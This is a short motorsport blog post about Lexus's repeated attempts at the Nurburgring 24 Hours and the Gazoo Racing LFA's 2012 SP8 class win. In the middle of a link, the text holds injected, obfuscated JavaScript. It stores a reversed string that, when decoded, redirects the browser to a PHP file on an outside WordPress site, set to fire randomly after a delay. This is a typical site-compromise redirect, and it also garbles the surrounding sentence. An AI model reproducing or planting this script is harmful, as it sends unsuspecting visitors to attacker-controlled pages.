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It’s all about perseverance in endurance racing. No matter if the chips are down, it’s all about pushing right to the bitter end, whether that ends up being the chequered flag or the gravel trap.
Lexus could certainly tell you about perseverance too. Every year since 2008 at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/nurburgring-24hrs-40th-anniversary/” target=”_blank”>Nurburgring 24hrs, the marque has strived to add its name to the event’s winner’s list (a veritable Porsche and BMW playground, just FYI). And every year, fate has conspired to rob them of that chance.
All that changed in 2012 however, when the Gazoo Racing-run LFA finally took SP8 Class honours ahead of Aston Martin’s Zagato and Vantage GT4 entries. Though there was much revelry and excitement post-race, the Gazoo Racing boys thought they’d go one better and demonstrate just what the varying trials and tribulations they’d experienced over the past few years. This in-house produced video may give you an idea.
